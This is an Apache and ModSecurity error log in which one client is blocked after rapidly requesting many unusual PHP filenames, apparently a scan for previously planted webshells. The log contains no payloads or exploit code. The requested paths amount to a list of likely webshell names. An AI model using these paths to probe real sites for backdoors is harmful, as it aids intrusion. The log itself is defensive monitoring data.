[Sat Apr 18 04:37:14.796529 2026] [:error] [pid 9970:tid 9976] [client 158.158.109.150:64730] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/samll.php"] [unique_id "aeKZ-iYdRLRhVmaIMx2Q0AAAAMI"]
[Sat Apr 18 04:37:15.929759 2026] [:error] [pid 9970:tid 9985] [client 158.158.109.150:65118] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/samll.php"] [unique_id "aeKZ-yYdRLRhVmaIMx2Q1AAAAMs"]
[Sat Apr 18 04:37:18.038147 2026] [:error] [pid 9865:tid 9939] [client 158.158.109.150:54715] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/samll.php"] [unique_id "aeKZ_qzb5knECIY-C-iBgQAAAII"]
[Sat Apr 18 04:37:19.084994 2026] [:error] [pid 9863:tid 9879] [client 158.158.109.150:65140] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zogy1.php"] [unique_id "aeKZ_zjjiypiFrTucbL0cwAAAAY"]
[Sat Apr 18 04:37:21.942761 2026] [:error] [pid 9865:tid 9959] [client 158.158.109.150:64754] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zogy1.php"] [unique_id "aeKaAazb5knECIY-C-iBjQAAAJY"]
[Sat Apr 18 04:37:23.462144 2026] [:error] [pid 9863:tid 9873] [client 158.158.109.150:64740] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zogy1.php"] [unique_id "aeKaAzjjiypiFrTucbL0eAAAAAA"]
[Sat Apr 18 04:37:28.718407 2026] [:error] [pid 9970:tid 9996] [client 158.158.109.150:65131] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zogy1.php"] [unique_id "aeKaCCYdRLRhVmaIMx2Q9AAAANY"]
[Sat Apr 18 04:37:30.102406 2026] [:error] [pid 9865:tid 9952] [client 158.158.109.150:54681] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aios-bootstrap.php"] [unique_id "aeKaCqzb5knECIY-C-iBogAAAI8"]
[Sat Apr 18 04:37:31.634910 2026] [:error] [pid 9970:tid 9989] [client 158.158.109.150:64772] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aios-bootstrap.php"] [unique_id "aeKaCyYdRLRhVmaIMx2Q_wAAAM8"]
[Sat Apr 18 04:37:33.553280 2026] [:error] [pid 9970:tid 9998] [client 158.158.109.150:65215] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aios-bootstrap.php"] [unique_id "aeKaDSYdRLRhVmaIMx2RCQAAANg"]
[Sat Apr 18 04:37:35.474790 2026] [:error] [pid 9970:tid 9974] [client 158.158.109.150:65522] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aios-bootstrap.php"] [unique_id "aeKaDyYdRLRhVmaIMx2REAAAAMA"]
[Sat Apr 18 04:37:38.530793 2026] [:error] [pid 9864:tid 9924] [client 158.158.109.150:65093] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rh.php"] [unique_id "aeKaEoCFeowknfXHM7kXmgAAAFI"]
[Sat Apr 18 04:37:41.589471 2026] [:error] [pid 9970:tid 9996] [client 158.158.109.150:65147] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rh.php"] [unique_id "aeKaFSYdRLRhVmaIMx2RGwAAANY"]
[Sat Apr 18 04:37:42.979498 2026] [:error] [pid 9970:tid 9974] [client 158.158.109.150:64705] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rh.php"] [unique_id "aeKaFiYdRLRhVmaIMx2RHwAAAMA"]
[Sat Apr 18 04:37:47.319072 2026] [:error] [pid 9863:tid 9873] [client 158.158.109.150:65487] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rh.php"] [unique_id "aeKaGzjjiypiFrTucbL0hAAAAAA"]
[Sat Apr 18 04:37:48.596642 2026] [:error] [pid 9863:tid 9896] [client 158.158.109.150:54718] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gz.php"] [unique_id "aeKaHDjjiypiFrTucbL0igAAABc"]
[Sat Apr 18 04:37:52.757822 2026] [:error] [pid 9863:tid 9877] [client 158.158.109.150:64665] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gz.php"] [unique_id "aeKaIDjjiypiFrTucbL0kQAAAAQ"]
[Sat Apr 18 04:38:06.754994 2026] [:error] [pid 9865:tid 9941] [client 158.158.109.150:65189] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gelio1.php"] [unique_id "aeKaLqzb5knECIY-C-iB7gAAAIQ"]
[Sat Apr 18 04:38:08.015681 2026] [:error] [pid 9970:tid 9977] [client 158.158.109.150:65193] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gelio1.php"] [unique_id "aeKaMCYdRLRhVmaIMx2RcAAAAMM"]
[Sat Apr 18 04:38:09.553848 2026] [:error] [pid 9865:tid 9961] [client 158.158.109.150:54672] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gelio1.php"] [unique_id "aeKaMazb5knECIY-C-iB9AAAAJg"]
[Sat Apr 18 04:38:11.293308 2026] [:error] [pid 9970:tid 9994] [client 158.158.109.150:64659] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gelio1.php"] [unique_id "aeKaMyYdRLRhVmaIMx2RegAAANQ"]
[Sat Apr 18 04:38:11.964147 2026] [:error] [pid 9970:tid 9983] [client 158.158.109.150:65488] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/areak1.php"] [unique_id "aeKaMyYdRLRhVmaIMx2RfgAAAMk"]
[Sat Apr 18 04:38:13.075150 2026] [proxy_fcgi:error] [pid 9864:tid 9913] [client 158.158.109.150:65092] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:38:13.323815 2026] [proxy_fcgi:error] [pid 9864:tid 9921] [client 158.158.109.150:65092] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:38:13.576911 2026] [proxy_fcgi:error] [pid 9864:tid 9919] [client 158.158.109.150:65092] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:38:13.837945 2026] [proxy_fcgi:error] [pid 9864:tid 9930] [client 158.158.109.150:65092] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:38:14.080778 2026] [proxy_fcgi:error] [pid 9864:tid 9905] [client 158.158.109.150:65092] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:38:14.390457 2026] [proxy_fcgi:error] [pid 9864:tid 9925] [client 158.158.109.150:65092] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:38:14.645278 2026] [proxy_fcgi:error] [pid 9864:tid 9920] [client 158.158.109.150:65092] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:38:14.903139 2026] [proxy_fcgi:error] [pid 9864:tid 9912] [client 158.158.109.150:65092] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:38:15.147225 2026] [proxy_fcgi:error] [pid 9864:tid 9921] [client 158.158.109.150:65092] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:38:15.528527 2026] [proxy_fcgi:error] [pid 9864:tid 9919] [client 158.158.109.150:65092] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:38:15.792680 2026] [proxy_fcgi:error] [pid 9864:tid 9918] [client 158.158.109.150:65092] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:38:16.040170 2026] [:error] [pid 9864:tid 9928] [client 158.158.109.150:65092] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Ipv6.php"] [unique_id "aeKaOICFeowknfXHM7kXxwAAAFY"]
[Sat Apr 18 04:38:17.300410 2026] [:error] [pid 9865:tid 9961] [client 158.158.109.150:64660] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Ipv6.php"] [unique_id "aeKaOazb5knECIY-C-iB_QAAAJg"]
[Sat Apr 18 04:38:18.871398 2026] [:error] [pid 9865:tid 9948] [client 158.158.109.150:64814] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Ipv6.php"] [unique_id "aeKaOqzb5knECIY-C-iCBQAAAIs"]
[Sat Apr 18 04:38:20.108001 2026] [:error] [pid 9970:tid 9981] [client 158.158.109.150:65100] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Ipv6.php"] [unique_id "aeKaPCYdRLRhVmaIMx2RhAAAAMc"]
[Sat Apr 18 04:38:21.034532 2026] [:error] [pid 9864:tid 9917] [client 158.158.109.150:65139] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file-gertdxz.php"] [unique_id "aeKaPYCFeowknfXHM7kX0gAAAEs"]
[Sat Apr 18 04:38:22.738054 2026] [:error] [pid 9864:tid 9914] [client 158.158.109.150:64723] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file-gertdxz.php"] [unique_id "aeKaPoCFeowknfXHM7kX1wAAAEg"]
[Sat Apr 18 04:38:23.790846 2026] [:error] [pid 9863:tid 9873] [client 158.158.109.150:64788] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file-gertdxz.php"] [unique_id "aeKaPzjjiypiFrTucbL0rgAAAAA"]
[Sat Apr 18 04:38:24.876880 2026] [:error] [pid 9970:tid 9985] [client 158.158.109.150:65101] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file-gertdxz.php"] [unique_id "aeKaQCYdRLRhVmaIMx2RiAAAAMs"]
[Sat Apr 18 04:38:27.069568 2026] [:error] [pid 9864:tid 9920] [client 158.158.109.150:64822] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xper1.php"] [unique_id "aeKaQ4CFeowknfXHM7kX3gAAAE4"]
[Sat Apr 18 04:38:28.752599 2026] [:error] [pid 9865:tid 9943] [client 158.158.109.150:64813] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xper1.php"] [unique_id "aeKaRKzb5knECIY-C-iCDAAAAIY"]
[Sat Apr 18 04:38:29.478078 2026] [:error] [pid 9865:tid 9951] [client 158.158.109.150:64769] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xper1.php"] [unique_id "aeKaRazb5knECIY-C-iCDQAAAI4"]
[Sat Apr 18 04:38:37.261271 2026] [:error] [pid 9970:tid 9994] [client 158.158.109.150:54686] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xper1.php"] [unique_id "aeKaTSYdRLRhVmaIMx2RmQAAANQ"]
[Sat Apr 18 04:38:42.955093 2026] [:error] [pid 9865:tid 9944] [client 158.158.109.150:65492] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yuzuru1.php"] [unique_id "aeKaUqzb5knECIY-C-iCFQAAAIc"]
[Sat Apr 18 04:38:45.202923 2026] [:error] [pid 9970:tid 9976] [client 158.158.109.150:54705] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yuzuru1.php"] [unique_id "aeKaVSYdRLRhVmaIMx2RnQAAAMI"]
[Sat Apr 18 04:38:47.772366 2026] [:error] [pid 9863:tid 9875] [client 158.158.109.150:64611] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yuzuru1.php"] [unique_id "aeKaVzjjiypiFrTucbL05QAAAAI"]
[Sat Apr 18 04:38:53.895675 2026] [:error] [pid 9865:tid 9959] [client 158.158.109.150:65491] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wglum1.php"] [unique_id "aeKaXazb5knECIY-C-iCJwAAAJY"]
[Sat Apr 18 04:38:55.709552 2026] [:error] [pid 9863:tid 9897] [client 158.158.109.150:54673] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wglum1.php"] [unique_id "aeKaXzjjiypiFrTucbL06QAAABg"]
[Sat Apr 18 04:38:57.412780 2026] [:error] [pid 9865:tid 9944] [client 158.158.109.150:64615] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wglum1.php"] [unique_id "aeKaYazb5knECIY-C-iCLgAAAIc"]
[Sat Apr 18 04:38:58.450523 2026] [:error] [pid 9863:tid 9889] [client 158.158.109.150:65194] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wglum1.php"] [unique_id "aeKaYjjjiypiFrTucbL08AAAABA"]
[Sat Apr 18 04:38:59.435145 2026] [:error] [pid 9863:tid 9892] [client 158.158.109.150:65088] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/saorix1.php"] [unique_id "aeKaYzjjiypiFrTucbL09AAAABM"]
[Sat Apr 18 04:39:00.109476 2026] [:error] [pid 9865:tid 9943] [client 158.158.109.150:64729] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/saorix1.php"] [unique_id "aeKaZKzb5knECIY-C-iCMwAAAIY"]
[Sat Apr 18 04:39:00.899036 2026] [:error] [pid 9865:tid 9961] [client 158.158.109.150:65135] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/saorix1.php"] [unique_id "aeKaZKzb5knECIY-C-iCNAAAAJg"]
[Sat Apr 18 04:39:02.253302 2026] [:error] [pid 9863:tid 9887] [client 158.158.109.150:64777] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/saorix1.php"] [unique_id "aeKaZjjjiypiFrTucbL09QAAAA4"]
[Sat Apr 18 04:39:03.530920 2026] [:error] [pid 9865:tid 9940] [client 158.158.109.150:64753] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xper.php"] [unique_id "aeKaZ6zb5knECIY-C-iCNgAAAIM"]
[Sat Apr 18 04:39:04.579298 2026] [:error] [pid 9865:tid 9938] [client 158.158.109.150:64781] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xper.php"] [unique_id "aeKaaKzb5knECIY-C-iCOgAAAIE"]
[Sat Apr 18 04:39:06.819093 2026] [:error] [pid 9863:tid 9888] [client 158.158.109.150:64718] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xper.php"] [unique_id "aeKaajjjiypiFrTucbL0-wAAAA8"]
[Sat Apr 18 04:39:09.536111 2026] [:error] [pid 9970:tid 9976] [client 158.158.109.150:64824] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xper.php"] [unique_id "aeKabSYdRLRhVmaIMx2RuwAAAMI"]
[Sat Apr 18 04:39:12.371862 2026] [:error] [pid 9864:tid 9906] [client 158.158.109.150:64664] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wxpass.php"] [unique_id "aeKacICFeowknfXHM7kYOgAAAEE"]
[Sat Apr 18 04:39:14.290355 2026] [:error] [pid 9970:tid 9981] [client 158.158.109.150:54664] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wxpass.php"] [unique_id "aeKaciYdRLRhVmaIMx2R2gAAAMc"]
[Sat Apr 18 04:39:15.098835 2026] [proxy_fcgi:error] [pid 9864:tid 9908] [client 158.158.109.150:64725] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:39:15.342517 2026] [proxy_fcgi:error] [pid 9864:tid 9915] [client 158.158.109.150:64725] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:39:15.584433 2026] [proxy_fcgi:error] [pid 9864:tid 9907] [client 158.158.109.150:64725] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:39:15.837450 2026] [proxy_fcgi:error] [pid 9864:tid 9926] [client 158.158.109.150:64725] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:39:16.380926 2026] [proxy_fcgi:error] [pid 9864:tid 9929] [client 158.158.109.150:64725] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:39:16.635072 2026] [proxy_fcgi:error] [pid 9864:tid 9912] [client 158.158.109.150:64725] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:39:16.877049 2026] [proxy_fcgi:error] [pid 9864:tid 9924] [client 158.158.109.150:64725] AH01071: Got error 'Primary script unknown'
